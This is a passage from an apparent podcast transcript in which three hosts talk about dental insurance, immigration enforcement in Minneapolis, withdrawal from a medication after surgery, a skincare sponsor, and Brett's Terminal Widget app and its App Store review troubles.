So yeah, I’m, I’m grateful. Christina: No, I completely like, can, can relate to that. ’cause when I, like with my back, well my cervical spine, um, it was kind of a similar thing. Obviously mine was more acute and it was a different scenario because I got, um, like the, you know, diagnosis relatively quickly, although it still felt like it took longer than, than I wanted it to, to, to get my MRIs and whatnot. Um, but it was similar to you. It was like kind of a relief to be like, oh, okay, so you have like a major problem. This isn’t just you being a wimp and, Brett: Yeah, exactly. Christina: exhilarating pain. Right. Like excruciating pain. Right. And, and just even having that, even knowing, okay, I don’t love that I have to go through [00:07:00] this whole thing. Um, I’m, I’m still like relieved to have a diagnosis and a plan forward. Dental Insurance Racket Brett: Oh, and also I, so I’m on state. Healthcare, and that includes, um, Delta Dental, but it’s this weird version of Delta Dental that nobody in my town accepts. Um, so I have to, I have to drive 45 minutes to get dental care and even then they can’t, he can’t do root canals or anything. And I needed two root canals and that would’ve involved driving two and a half hours or three hours and then going back to the 45 minute away place. And so what I did was I took the extra money I had saved outside of my, like, nest egg savings, but like my working savings. And I paid for a year of actual Delta Dental, um, and started going to a place [00:08:00] just really close to me and, um. It turns out that the best dental health insurance is still shit like it. I don’t know how much dental work you guys get done, but it is, Christina: it’s, it is crappy. Brett: it’s a, it’s, it’s a racket. And I actually watched a YouTube video on why dental insurance is a scam. And it like interviewed Dennis who actually take these like Delta Dental and the Medicaid dentists. Um, and it is truly a scam. And what I found, and this is much the same experience, uh, Christina talked about with her, um, MRII think it was that you did a cash pay. Um, I talked to the dentist and I said, do you have a cash paid discount? And he’s like, oh yeah. And basically. I can just pay cash and do everything for about 60% of the normal cost, and that is better than what [00:09:00] Delta does for me in most cases. Plus, I need so much work that my $2,000 cap with Delta is gone. Christina: Well, I was, I was gonna say like, so when I joined Microsoft, Microsoft used to have really good. Dental insurance, um, respectively speaking as, as good as it can be. But there were still, you know, caps on how much work would be done. But I found like a good person to go to. ’cause I had an incident, um, about a year after I moved to Seattle, maybe less than that, where um, I had to have an emergency root canal and like that sucked. Um, like I went into a normal dentist. She was like, this is what you need. And then I had to like, take an Uber, like over to a guy and see him like that day at like 5:00 PM and I’m like, you know, all like drugged up and, and getting the root canal. And that was not great. And I needed a lot of, of, of work done. Um, and so we split it over like she was a really good dentist and so we split it over. We were like, I was coming close to. The, the end of the calendar year. So she was like, okay, we’re gonna do all of this work and then we will start the next year [00:10:00] when things go forward. And like she knew how to play the system and was like a really good dentist. Well then Micro, then I went to GitHub. GitHub used, um, you know, uh, Delta Dental. And, and that can vary based on plan. Microsoft is apparently on them too. Google also had them on a slightly different plan, and it’s like you never know what you’re getting. And yeah, to your point, because if you need a lot of work done, if you have anything specialized, if you’re, you’re lucky if you get the right plan and you can see a provider in your area, great. But if you don’t, to your point, it is often, this is just fucked up. Like, especially if you’re having to pay out of pocket for it anyway. If it’s part of your employer, you know, benefits, maybe it’s a little different, but it’s like even then it can still wind up being less expensive to just pay the cash stuff than whatever your deductibles are, which have a cap anyway. And, and, and, and, and then, yeah, the, the, the way that the, the Medicaid or, or even insurance pricing works, stuff that they might charge you a very nominal fee for, for like a cleaning or whatever is, or a cavity fill [00:11:00] is gonna be, you know, they’re gonna bill insurance like three or four times that Brett: Right, exactly. So I pay, I pay like 800 bucks for a year of Delta, and that gives me basically $2,000 to work with, plus whatever price they can negotiate. Um, but like you said, like they, they bill three times. Um, so like what still comes out of my like $2,000 pot, um, is higher than I would’ve paid with Christina: If you just paid cash, if you just had an $800 budget, or if you got like, yeah, that’s the thing. Okay. This is an AI app that somebody should build. And I’m saying this hoping that maybe something the audience will, or maybe one of us could vibe code it, because this seems like this would be a relatively easy calculator to do with like certain providers if they, if they, you know, list their things where you could like run the costs and be like, okay, this is, I’m gonna put in this number. This is what my, you know, provider’s fees are. This is what my [00:12:00] insurance thing is. Um, Brett: what my cash pay Christina: this is what my cash pay is. Is it cheaper for me to spend $800 a year on Delta Dental or to just pay cash directly with my, my dentist? Brett: Yeah. Have you as I’ve, as I’ve said to people who have pitched ideas to me in the past, you’re talking about a spreadsheet? Christina: Yes. It is a spreadsheet to be completely out. Yes. But I can now use cloud code to, to to, to, you know, figure out the formula for me is the real thing. Brett: Yeah. There you go. All right. Who’s up? Post Surge Recovery Jeff: Dr. To, um, I can talk, uh, uh, I’m, I mean, I’m doing really well. Uh, I we’re a couple months past, or, you know, a couple months past the operation Metro surge stuff here in January and February, in a little bit of December, but really January. And that was, I’d never kind of experienced like a, a full [00:13:00] taxing of every single person and kind of person I knew and which was amazing. Um, and, uh, and it took a minute when things settled here, um, to, for everybody to kind of figure out what. How to just even enter into the world every day because everything had been driven by what was happening on a almost hourly to hourly basis for, for some time. And, um, and so I kind of moved through that, that period, which was like quite a sort of come down, uh, of adrenaline and, and amygdala sparking. Um, and, and have kind of smoothed a little bit. And, um, and I’m just doing well. I’m having a nice, a nice goal of it right now. Christina: Good. Great to hear. Brett: I, I guess that everything’s relative. Right? Jeff: Yeah. Everything’s relative. Yeah. Yeah. But I think I would call this a nice go of it, uh, even outside the context of comparing [00:14:00] to, to Operation Metro Surge. Brett: that’s, that’s, I, I’m happy for you. That’s awesome. Jeff: I think actually the last time I was on the podcast was with you, Christina, in January right after we had had a raid in our alley, which was even before the surge Christina: You before the big surge, even before Jeff: of an early start. Christina: I was gonna say even before, like I, I, I don’t even know if, if, if the, the, the murder had happened. Um, Jeff: not at all. In fact, we only had 100 extra ice agents here at the time and within a couple of weeks there’d be a woman in front of my house, uh, being pulled out of her car ’cause she was following ice agents and throwing me her phone as she gets tossed into a, into a fucking ice truck. And like it was just, everything happened so fast and so slowly all at the same time. And, and obviously there’s still all sorts of stuff going on, but it is indisputably not what it was in January and February. Brett: I was gonna ask you about that. ’cause like the total number of deportations is only slightly [00:15:00] lower right now than it was during the surge. Um, and they, they removed, they added like, what, 3000 agents and they removed like 800 of them. So, Jeff: they’ve removed way more than Brett: Hey, have they Jeff: oh, yeah. We’re down to, I haven’t, I don’t wanna say the numbers because I haven’t looked at them. We’re, we’re back down to like the high hundreds and we, our baseline is like 1 25. Brett: Okay. Jeff: Yeah. You can tell. Um, it’s, yeah, you can tell. And I, and I’ve been down to the WPO Federal building a a few times, um, which is where ICE was kind of headquartered and there’s just the level of activity there is very low. Um, they had some new vehicles come in at one point about a month ago, but mostly those are replacing rentals that they were using. So it wasn’t like people took it as kind of an indication that they were, you know, staffing up or suiting up again. But it was really just kind of replacing their, their really weird, like sort of duct tape together invasion. Um, it’s kinda like in Iraq when they decided they were gonna [00:16:00] actually armor the Humvees, it was kind of like a little bit of a switch of, of vehicles. Um. Yeah, it’s much different. And like, you know, all the people either in my life or in my community that were in hiding or not, I mean, for the most part, not in hiding anymore vulnerable folks and undocumented folks. And, um, so it’s like, it’s qualitatively and nervous, systemly different Brett: Yeah. Yeah. Jeff: for everybody and still sucks. And there’s still a risk and a threat and, and a horror. And a terror. Brett: Yeah, down here in southern Minnesota, I have not gotten a call to do a food delivery or a grocery delivery for, yeah, a couple months. Um, so yeah, I guess it really has calmed down across the state. Jeff: Yeah. Thank God. I mean, who knows what they’re up to that isn’t as visible, but thank God Brett: exactly. Jeff: over. So yeah, I, I mean it’s, and I actually just had my, my brother’s been in town and every time someone kind of comes to visit, they wanna like. You know, kind of hear or take in what the thing was and you start describing it again, and [00:17:00] now it just, I mean, it felt like a dream at the time. It just felt like, how could this be real? But you were just so in it, like every single person, like you said, Brett, like people were doing grocery deliveries or people were, you know, cooking food for the people that were kind of on the front lines, or you were following ice, or you were dispatching people to follow ice, whatever. It was like every. Single person I could think of as doing something. And uh, and, and so when you try to describe it now, when you look around, especially in my neighborhood where they were all over, um, it it, it seems like, was this, was this real, um, like, was it even real because like, I don’t know, like the end here. ’cause this could go on forever, but I don’t know if any of you saw the footage that went around of a high school called Roosevelt High School, where, uh, where Bovino showed up and there was all this crazy shit and the, the footage of this, um, went around the country and like it was, you know, reposted by freaking everybody that was my son’s school in my neighborhood. And, and so like, it was just this constant thing of like, bovino at my son’s school, binos at my gas station. Like, it was just [00:18:00] utterly insane. And now, and, and every street felt almost, you could feel ice on the streets. Like you would see ghost cars where they had taken people or whatever. You could like, feel ’em on the streets. And so you walk around, you walk around the same streets now, and it’s just birds and kids playing and you’re just like, did that, was that real? Brett: There, there was a tow truck driver that was interviewed who had taken it upon himself to tow those ghost cars for free back to their origin. Um, and just like leave them for people. Jeff: at least, or he would take them in and not charge if you came in for them. And it’s, and that’s just it. Everybody, everybody. It was incredible. It was incredible. Christina: It’s crazy. Jeff: Yeah. All Christina: I hope, I genuinely hope that they’ve lost interest and, and have moved on to other things. Brett: Like Seattle. Christina: yeah. Well, I mean, Seattle is obviously a very different situation and, and that had a, a longstanding, I think, impact. Um, and, and I, I, I. I’ve said this, I said this at the time, people who made that really bad were the [00:19:00] activists who came in outside the so-called activists and putting that in quotation marks who came in, who didn’t even live in the city and agitated things and made things way worse than, than they, than it should have been. Um, but yeah, but I hope that it’s like Seattle, that it just kind of falls like the, the government doesn’t come back and, and continue this, you know, reign of terror. Jeff: Yeah, yeah, yeah, for sure. Surgery And Withdrawal Christina: Um, well, I’ll, I’ll be quick. So I, I had surgery since I guess the last time I was on, Jeff: Sure did. Christina: that went well. Um, the surgery itself, I’m still in some pain, um, in my shoulder after the surgery, uh, which was not like you were fi fixing my cervical spine. But, um, they, uh, I guess however it worked, like I, I think as muscular, um, I, I’ve been going to to to PT for the last few weeks. Um, but I still having some, some shoulder pain. That’s, that’s getting better. Um, the hardest thing was actually some of the medication stuff. So [00:20:00] I, uh, gabapentin, um, I know it’s a lifesaver for a lot of people. I don’t have a good reaction to it. Like I’m one of those people. Like, it, it a, it makes me feel kind of loopy. I don’t like it. B it’s very difficult for me to sleep on it. Um, which, which is a problem and, you know, but, but the big thing is it just kind of makes me like, feel like I’m not kind of in my own head. Like I feel like, don’t know, like, um, altered on it. I, I would say. And so I went off they gabapentin and no one told me, and I am gonna put this as a PSA out there. ’cause I know a lot of people take it. Do not go off of that cold Turkey. Jeff: mm. Christina: They didn’t tell me that. Um, which someone should have, but no one told me that. And it can actually cause seizures if you do other things. But in my case, the real thing was that I had withdrawal. That was some of the worst withdrawal I’ve ever had. In my life ever. And, um, it like awful, like awful, awful, awful to the point that to go off the Gabapentin and they had me on like a, a decent dosage. It [00:21:00] took me a month because I had to keep going basically down like one pill like every week to step down. And, but I mean, I was getting, you know, like, like hot and cold sweats, you know, like feeling like my teeth were gnashing, you know, like nauseous, just like awful, awful stuff. So it took me, you know, a month to go off of that. I had to extend my medical leave in part because of the medication withdrawal stuff, because I was like, I can’t go back to work if I’m gonna be like, still dealing with, with medication bullshit. Um, so, um, that was actually, you know, in some ways like more, uh, of an issue than like recovering from the surgery itself, which was major. Like I, I tried to kind of downplay like what it was, but it was, it was major surgery and um. Um, I’m glad that it’s over. So, you know, onwards and upwards. I’m, I’ve been back at work for a couple weeks. Um, still kind of settling in on that, but, uh, but yeah. Brett: That [00:22:00] withdrawal sounds terrible. Usually you have to do opiates to get that kind of fun. Christina: Yeah, well that was the thing. I saw somebody on, I read it, which of course is anecdotal. I don’t usually look for this stuff, but sometimes you just wanna feel like, okay, is it, is it common for me to have this withdrawal or not? And somebody, and one of the subreddits was like, this was worse than coming off of heroin and I in a jail cell, and I should know because I’ve done that. And I was like, okay, I, I’m not going to equate it at that level, you know, for, for me. But it was definitely like that bad. It was, let me put it this way, it was bad enough that at first I thought. It was the opiate withdrawal because I, they gave me some, some oxy, um, um, contin. Um, and then the doctor was like, no, that’s not a high enough dosage. This is, you know, um, it, it, it probably was gabapentin and, and it, it. What pissed me off is that one of the physician’s assistants or whatever, when I’m telling like my doctor about this, I’m like, okay, if I need another nerve drug, then we need to find something [00:23:00] else. I can go on select so I can go on, you know, something else. But, but I, I clearly can’t stay on this. A, they kind of gaslit me because I’m a woman and obviously my pain and my symptoms can’t be real. So that’s like number one. And that’s just a fact. I don’t care if you’re a male or female doctor, they don’t take you seriously. I’ve complained about that before. Um, b like she had the nerves to say, she was like, well, you know, if the withdrawal is that bad, then why don’t you just stay on the medic medication? It’s not that it, it, it, it’s fine. I’m like, no, it’s not fine. It makes me feel altered. You’re telling me that it’s for nerve pain, that my nerve pain should be fixed if my nerve pain isn’t fixed and if I need something for nerve stuff, then that’s one thing and we could maybe look at an alternative, something that doesn’t make me feel loopy and lets me sleep. But if your suggestion is, oh, to avoid the bad withdrawal, just stay on the drug. I’m sorry, what the fuck are we doing? Um, and, and then the doctor’s like, well, you know, we get this all the time. We never see side effects. And then I looked it up, you know, in the actual drug literature and no, there are side effects exactly like the ones I experienced. So I was like, I recognize that. [00:24:00] I always am usually that like one percentile person who gets like the weird side effect. Like, that’s who I am. I get that. But Brett: crazy. I’ve, I’ve gone off of gabapentin. It sucks. I You’re not crazy at all. Christina: yeah. But, but it just, it just was frustrating to me that like the, the suggestions like, we’ll just stay on it. It’s like, no, like that’s, that’s, that’s not actually gonna be a thing anyway, but onward and upward. Jeff: Yeah. Wow. I’m glad you’re through that. Like Christina: Yeah, me too. Me too. Okay. Sponsor One Skin Christina: Well, I know we have some other topics we wanna get to, but before we do that, um, let’s take a moment to talk about our sponsor of today’s episode One Skin. So, um, you know, I, I’ve gone through a number of different things with my skincare routine over the years. Some have been more effective than other. Um, you know, um, my skin kind of goes back and forth between being too oily and too dry. I’m kind of in a dry [00:25:00] phase right now, and, um, there are tons of products out there that, that promise results. And then you, you get them in the, and they’re, they don’t necessarily work. So, uh, I wanna talk to you about One Skin, which was founded by scientists, and it’s dedicated to longevity. And, um, the, the brand is actually committed to being real science over marketing hype. And so, uh. What they wind up. Uh, what, how, how this works is that they use OSO uh, zero one, which is a proprietary peptide, which is designed to help deactivate the damaged cells that contribute to aging skin. And, um, I’ve been using one skin, um, for a little bit, and I, I’m, I’m liking it. I like how it makes my face feel. Um, I like, um, the fact that, uh, it’s. You know, what the peptides are supposed to do is help basically, uh, support collagen, uh, uh, of production and, and, and strengthening the skin barrier. Um, I’m not alone. There are over 10,005 star reviews and there’s validation from clinical studies and, and it’s making a name for itself in the skincare industry.[00:26:00] So if you are interested in trying one skin for yourself, you can get 15% off your order with the code Overtired at one skin.co/ Overtired. That’s 15% off at one skin. Do co slash Overtired and use that code Overtired. So thank you one skin for supporting our show and check them out. Brett: Awesome. Terminal Widget Reveal Brett: Do you guys, can I tell you about terminal widget? Jeff: Terminal widget. Yes. Set it up. Terminal widget. Brett Terpstra. What’s Brett: so I, I, I wanted, I had scripts running in the background and I wanted a quick way to check them and I thought it should be easy to put. Script output into a, like a widget on the desktop. And I could not find anything that actually worked. Like Shellfish has a widget, but it, it takes minutes to update and it’s flaky and, and the other apps out there [00:27:00] did not work for me. So I thought I would build my own. So I think I started it a month ago. Um, I built a, just something for, you can run a terminal command and update a progress bar or an image or, uh, like sparkline text or just straight up text output from your. Terminal, all kinds of charts and everything, and, and it updates instantly on your desktop, uh, with like a 0.5 to one second delay, uh, which I wasn’t able to find anywhere else. I had to like, use JSON payloads and like basically a cloud kit watcher, um, cloud kit because I did also port it to iOS. And, um, so I can run one command in my terminal or from a script in the background and have my iPhone and my desktop update with progress. Um, I am working [00:28:00] on a watch version of it that is not, I, I have it working in the app, but I wanna make it so it works as a complication. Um, that’s gonna take a little more doing, uh, but this morning and yesterday I spent working on. The Apple script and shortcuts interfaces for it. And I hate designing Apple Script dictionaries, uh, because there’s no, like, there’s no standard for like terminology and there’s no like golden way to do it. And I always end up messing it up even when I do have a plan. This time I think I actually succeeded in building out a dictionary that makes semantic sense and is somewhat. Predictable if you’ve ever written Apples script before, but I also added all of the widgets can be controlled from shortcuts. You just drag in like a chart widget into your shortcut and pass in like a value or like a, a chart of values. It can [00:29:00] do matrices and sign waves and, and line grass and bar charts, and it’s pretty nuts. You can check it out. It’s not available yet, but all of the documentation and all of the screenshots are at Terminal widget app. Um, and I am, I’m pretty impressed with myself and Christina: yeah. Brett: that’s what I’ve been working on while waiting for Mark III to make it through app store reviews so I can finally publish that. I, my latest rejection first, I got rejected, like a couple legitimate. Uh, concerns, but then I had a CLI that I wrote that was embedded in the app bundle and there was an option to create a sim link in your, in your terminal to use the CLI. And this was just a convenience method for like, you give it command line flags and it converts it into URL handlers and they rejected me for Christina: [00:30:00] I was gonna say, I was gonna say, they don’t let you do that. Like what I’ve seen with other apps do is usually there’s like a, um, in the app store is that usually you have to download a helper to install the CL. Brett: right. So what I did, uh, to get past the rejection was completely rip out the binary from the bundle. Uh, if you go to the install cli CLI tool menu item, it simply takes you to a webpage where there’s a, a notarized signed PKG file, or you can install from Homebrew, but it’s completely separate from the app store. And the last rejection said that I was requiring users to download an external app in order to use the app. Which is ridiculous on its face. Like it’s, it’s a convenience method. In no way do you need to download it. Um, there’s no requirement. In fact, it’s almost buried that you would even want it. Um, [00:31:00] and so I argued with the reviewer for a couple days ’cause they were replying like once a day. Um, and then they told me I had to go through a re uh, the appeal process. So I submitted an appeal at four 50 this morning. We’ll see how long that takes now. But in the meantime, terminal Widget is keeping me sane. I’m having a lot of fun with that. Widgets And Visualizations Jeff: I have some terminal widget questions. I’m looking at the site right now. Um, so talk to me about, um, talk to us about your, your initial use case, like was, which you’ve kind of described already, which is you just wanted to be able to check on these scripts Brett: Yeah. I just wanted a progress Jeff: But then Brett Terpstra kicks in ’cause like I just wanted a progress bar and now I’m looking at all the flags and everything else that you could have. You know, I’m curious like of all of the options that are in there, I want you to just share something that might not be intuitive or might not guess you can do. And then I’m curious of like if you have something you’re like, and what I [00:32:00] really want it to be able to do is. Brett: So you can pass it up to a hundred numbers, like a, a list of space or canvas, separated numbers that you can output from whatever script you’re developing. And you can have it, uh, output a sine wave or a um, uh, a waveform. I like the waveform visualization for it. And so you can get like pretty cool visualizations out of. Tabular data basically. And I also just added, um, tabular, like you can, you can give it a CSV file and it’ll generate a table for you. And it really only works well on like the large widget size. Um, but on both, on both iOS and Mac, uh, the tables look pretty good. Jeff: Nice. Christina: That’s awesome. I, I have a, I have a nerdy, uh, well, but less nerdy question. [00:33:00] Um, on the Terminal WIT app website, um, you have like a, a video of a, like, you know, showing off like, um, you know, your, your, your terminal app open and, um, the, the text being typed out. What did you use to create that? Did you use a remotion or did you use something else to generate that Brett: I scripted that, um, I, I wrote if there’s a helper Christina: charm or something? Brett: No, Christina: Okay. Brett: I, it’s a helper. It’s a helper script that it, it clears the screen and then it takes a table of commands and it types the command out with like a jitter delay. So it looks somewhat natural, like typing. And then it actually runs the command in the background. And then once the command’s finished, it clears the screen and does the same thing with the next one. Um, so I can just feed it like a, a, uh, a file with all the commands. I wanna run one per line. Um, and it just types them out and executes them. Jeff: That’s awesome. Christina: Cool. Brett: I know, [00:34:00] like I looked into like using like as, as as cinema. Um, and it just to get that kind of really. Smooth, rapid typing out of it, uh, without, you know, all the backspace and everything. I, it was, I found it difficult to program it to, to code it. And by the time I had it figured out, I figured I should just write my own script for it. Christina: Yeah. There’s, um, there, there’s a, a. Service called Remotion, which can do some of that sort of graphical work, which is what I thought you might’ve used at first. Um, charm has a thing called VHS, which is basically like a CLI home home recorder, which is pretty cool. Um, and I’ve used that before, but yeah, I was just kind of curious, um, what you did, but yeah, you just built your own. That’s awesome. Very cool. Release Plans And Review Christina: Um, now for your, your, when do you think like, because I, I noticed that you have like for for blog book and for terminal widget, you have like coming soon. Is that like, ’cause [00:35:00] you’re still kind of like working on stuff or, um, are you going through review hell with those as well? Brett: I haven’t even tried getting either of those reviewed. Um, blog book I is approved for test flight, um, and anyone who wants in on that can just contact me. It is getting the slowest development out of all my projects right now just because it is, it’s a more niche app that I don’t think is gonna make a ton of money. But, um, mark III is where most of my effort is going. Then I’m working on porting mark three’s, uh, store kit stuff into NV Ultra, and then I can focus on trying to usher terminal widget through app review. Um, I have a feeling that’s going to go very poorly and I may end up just releasing outside the app store, but because it has an iOS Christina: I was gonna say with the iOS component is the hard part. Brett: I kind of have to, so we’ll see what happens. Christina: Yeah. [00:36:00] ’cause I was gonna say, ’cause like, I mean I guess what you could do is if you did something for the iOS F would make it different though. Like if it’s just, ’cause I’m sure it has, it’s working out. It’s pretty much just remote instance that’s showing Brett: No, no, it’s got, it’s a, Christina: you, you built in your own terminal emulator into it. Brett: no, there’s no, no, no, no, no, no. There’s no terminal in this app at all. Like, you use it from whatever terminal or from shortcuts. Um, so it’s all native widgets on both. Christina: right. I was just saying in terms of the app store thing, like, I guess like if since there’s not a native terminal on, on iOS, it’s, I’m assuming that it’s, it’s a remote widget is what I was trying to get at. Brett: Essentially, yes. But if you write a shortcut on iOS that updates the widget, it updates both iOS and Mac os. So it is usable entirely. You could just buy it for iOS and, and it would be a functional app. Christina: okay. Okay. Universal Bundle Pricing Brett: But I do intend, I hope [00:37:00] to sell it as one universal bundle. So you pay like 9 99 and you get the iOS, the Mac, and the watch app without having to buy for every platform separately. Um, I just don’t see it being like such a valuable app that it’s worth making people go through that rigamarole. Christina: right. No, I was just trying to think. Brett: and everyone I’ve shown it to so far has been excited about it and the most common response I get is I will buy this as soon as I figure out what I would use it for. I’m like, yeah, okay. Jeff: Okay, fine. Awesome. AI Boosts Mark II Sales Jeff: And can you talk about how, because the whole world now works in markdown marked, has gotten a bump because I think that’s an amazing story. Brett: Well, yeah, it was. was a few months ago now, maybe six months. Um, my sales just started increasing and I was looking everywhere through all my traffic and all my logs [00:38:00] to figure out where this, where these people were coming from. Um, and it was eventually pointed out to me that if you ask any agent, any AI agent what you should use to view markdown, um, they would point you to Mark two. And it was now, for the last four months, five months, it’s been doing five times the sales year over year. What it was doing, Jeff: How close is it to the highest it ever was? Brett: um, the highest it ever was was actually when it was only 2 99. And Gruber wrote about it. Uh, back in this is like 2000. This was over a decade ago. And, um, back when, like one tweet from Gruber meant like success and that I made that year, I made almost a hundred thousand dollars on it.[00:39:00] Um, this is nowhere near that. This is doing like Jeff: But it’s a highly unexpected bump, right? Like in a delightful, delightful bump. Brett: yeah. It’s doing, it’s doing without even releasing Mark iii, I’m making about half of my former salary off of it. Jeff: Nice. I’m happy for you. Leaving Oracle Behind Brett: Also, uh, one year, um, in two days I’ll be one year out of Oracle and I quite happy about it. Jeff: that’s great. I was wondering about that, Brett: I don’t miss my corporate job. I miss, I miss some aspects, health insurance, paychecks, things like that. But Jeff: that aren’t at all about the content of the job, right? Brett: Well, like that stuff has never mattered all that much to me if I’m happy doing the work. And I really wasn’t happy doing the work. Christina: Well, that’s, that’s the thing. I’m glad that you’re, I’m glad things have been going well. I’m glad that, that the, the agents have, uh, been telling everybody about Mark two. Hopefully they will also tell them [00:40:00] about Mark three. Um. Ninety Hour Workweeks Brett: My, my dentist was doing was doing small talk with me, and he knows I’m a app developer and he asked me, so how many hours a week do you work? And I happen to know the answer because I had just read my timing app report for last week and I said, 90. And he said, oh wow. How much do you make? And he’s like, if you don’t mind me asking. So I told him and uh, it saying it out loud, it’s basically like 20 bucks an hour I get paid. And like, it’s not nothing, but once these apps are out and I can sit back and just make some passive income off of it, I will, I’ll be much Jeff: So it’s 90 because you’re, you’re developing multiple things right now and, and you love it. Brett: I’m pretty much, I’m pretty much on my machine all day except for like an hour for [00:41:00] like getting out, exercising, getting on my recumbent bicycle and an hour for eating. Um, Jeff: Is it time for you to get a trike? I’m serious. Brett: I don’t, I don’t know, I, I actually want to try just getting back on a regular bicycle. Jeff: Hmm. Brett: Um, but I, yeah, like a recumbent tricycle, that’d be pretty awesome. Jeff: dad uses him. He actually just converted one to an to an E-bike. Plus it’s hot now ’cause of DTF St. Louis. Christina: right. Jeff: Awesome. Uh, is that it for your app development because wow, that’s like, uh, quite a, quite a deal. You got anything else in the cooker? Brett: Well, like we talked about blog book. Right? Jeff: Yep. Brett: Okay. Yeah, that’s, that’s what I got. Jeff: Nice. Brett: that’s my big ones. NV Ultra Vaporware Woes Brett: NV Ultra is, um, literally only waiting on me to [00:42:00] get Mark three out and then NV Ultra will be out. And it is well passed a time when it would’ve been a smash hit. Um, when, when Nv, when NVL first started dying before, uh, before something like obsidian really Christina: I was gonna say, if sitting is unfortunately Brett: yeah, they obsidian and five or six other apps have really eaten up market share for, uh, NV Ultra. But it would be nice just to get it published. I have been talking about a replacement for NV for over a decade, and Jeff: Am I gonna get sued if I say this is not your fault. Brett: It’s, it’s not my fault, like none of them have been my fault. Like they’ve all fallen through on me. Um, but I think people don’t believe me anymore when I say it’s coming. In fact, it, in fact, if you ask an AI agent, they will tell you that MB Ultra is vaporware.[00:43:00] Christina: Well, Jeff: a lot ai. Christina: I mean, look at this point, even though yeah, it’s been in beta and you’ve had other things going on. I mean, like it, you know, again, it wasn’t your fault, but, but, but you know, we’ve all been in those situations where you’re like, it’s coming, it’s coming. Or this thing is like, at a certain point you’re like, okay. Like Brett: Yeah. Missing Collaborators Online Brett: Well that there was Bit Writer Christina: TechMate too. Brett: Bit Writer was one that preceded NV Ultra and I was working on that with David Halter, who was a co contributor on VT and. He disappeared. I don’t know if he died or what, but about years ago he just stopped replying to emails, disappeared off of Slack, disappeared from the internet. Just I, and I don’t ha I don’t know his next of kin. I don’t have anyone I can like ask, Hey, whatever happened to David. So if you’re out there, if you’re listening, I’d love to hear from you just to know you’re alive. Just to, just to [00:44:00] check in. Um, I’ve actually had a few people disappear over the last couple months that ha it’s been disconcert when, when you’re used to hearing from someone at least, you know, once a week even. But some of these people were like every day, um, I. Jeff: from them, meaning seeing them somewhere or corresponding or. Brett: Uh, online. These are, these are people I only know online. So like seeing them on Macedon or Facebook or getting emails or text messages from them. Um, a couple of them were in their eighties or nineties, and so it’s not, Jeff: That might be your problem. Brett: it, it’s not out of the realm of the possibility that they have passed on. Um, but some of them were younger than me and one of them has come back after two weeks of messaging, like every other day, like, Hey, are you okay? Haven’t heard from you. Um, finally they’re like, oh, yeah, I’m here. [00:45:00] And offered no explanation for where they’d been or why they went silent, but I didn’t pry either. So. Dan Peterson Secret App Jeff: What is your project with Dan Peterson? That’s on our, our list. Brett: I don’t know if I’m allowed to say a lot about it, but I’ve been working. Dan Peterson is one, the original designer of one password and worked with them for like 20 years before he struck out on his own. And we’ve teamed up, we’re working on a couple things, but one is a a, an IO iOS app that he has put in. I, I don’t even know how many hours into the design of it, like 3D modeling, spline rendering, and um, and then we ported it into an iOS interface. And it is gorgeous. It, it will it when, when it gets to market, which we’re hoping to have it in [00:46:00] testate in time for Max stock in July. Um, it’ll be the best looking app I’ve ever been a part of. It’s gonna be so cool. Jeff: Nice. Christina: That’s awesome. Jeff: Busy time. Brett: Yeah. Jeff: It’s Christina: That’s awesome. Jeff: What else do we got? I mean, Brett, you showed up with a big list. The Pit TV Complaints Christina: I was gonna, is anybody watching anything? Uh, good on TV or rewatching anything? Jeff: I have a serious complaint to put into the world, so I’ve avoided the pit for a long time. Uh, just ’cause I’m, I don’t, I’m not a huge like yeah, Brett: drama. Jeff: it is great. Except are there two separate writing teams for the stars and staff and the people that come in as patients? Because the writing for the people that come in patients is. Awful. They acting sometimes too. Sometimes there’s some people that sell it. I’m only through season one, uh, but I was like, I have been yelling at the tv, uh, about this [00:47:00] for some time. Um, besides also yelling at the TV for the point at which, um, our young friend with a w as a last name Whitaker, who, uh, gets blood all over his face and then they don’t actually immediately clean it up. Um, uh, so I yell at the screen and I like the show, but I yell. I haven’t had a TV show that I’m like, oh, for fuck’s sake now. I mean, I can handle that in The Walking Dead. I can handle that in that kind of movie. But in the ER thing I’m like, come on, you can’t get a writer to handle the patients. I don’t understand. You’ve got an incredible cast, like an incredible cast. Brett: It’s actually all ad-libbed. Jeff: all ad-libs, like the clown. There’s a clown, I won’t give it up, but there’s a, there’s a clown that has been through a mass event and he’s in the, uh, he’s in the ER with his clown makeup on still, and some blood going down his face and at some point he looks around and he goes, what a circus. I just think they, I think, I don’t understand. This confuses me very much [00:48:00] in TV shows when you’re like, okay, you’ve got a great writing team, but clearly you have a separate writing team that is doing just this little job that is actually quite important. So that’s my complaint about the pit. Otherwise, I like it quite a bit. I’m very excited to start season two, probably this weekend. Christina: it’s a good season. It’s a good season. So, yeah, ’cause, because, because I, I, I, um, it, it ended last week and I’m, I’m a big fan of the pit. I will say this, the pit fandom is insane and not in a good way. Like these are people who don’t understand how to watch television shows and don’t understand. Like how television shows work, and, and then also become very entitled about like, how, like their vision of the characters and things should be on a level. Like the last time I’ve seen it, it it’s the same, it’s similar with heated rivalry, but it’s somehow worse because this isn’t like a genre show like that. It’s like low quality for like, you know, middle aged like white women, um, in the suburbs. Um, who, who just like to see two, two hockey players. [00:49:00] You know? Fuck. Um, like, like the pit is actually like, I’m not gonna call it Prestige TV because it’s not er level, but it’s a very good show and it’s extremely well acted. And I think the writing, um, I, I think make a good point about the, uh, the patients not getting as good of storylines as the doctors. But, um, Jeff: no. I don’t need storylines. I Christina: no, I I mean the Jeff: words they Christina: Yeah. Yeah. No, that, that’s, that, that, that that’s what I mean, like, like that, that, that, that I, I, I hear, I hear your Jeff: Because where there’s a patient storyline, those are almost exclusively great. Christina: Yeah, it, so you’re more talking about like, like, like the kind of the background characters, like, kind of like the, the, the one-offs. Yeah, I think, I think that’s fair. Well, a lot of the writing staff and like executive producers are doctors or people who have like, you know, worked, um, extensively in healthcare. And so I, I, I wonder if like, that’s kind of part of it, um, where Brett: they’re really good at writing the doctor’s parts. They’re not so good at Jeff: so good. Oh my God, so Christina: so good at doing the doctor’s parts and, and the procedures. Like they wanna be medically [00:50:00] accurate and like they really, they really are committed to that. There are, um, there are a couple of, I’m trying to think, um, the, the Whitaker thing, I think that was just, I enjoyed that myself. Like the fact that he’s always getting blood Jeff: Oh, I loved the bit, I just couldn’t believe that. I couldn’t believe that through quite, you know, a couple of different bits after that. The blood’s still on his face. I’m like, there has to be a protocol to get blood off your face. Christina: No, there definitely has to be, but I mean, part also one of the running gags first season two. And, and sorry for spoilers, for anyone who hasn’t watched the pit Jeff: Wait, I’m gonna close my 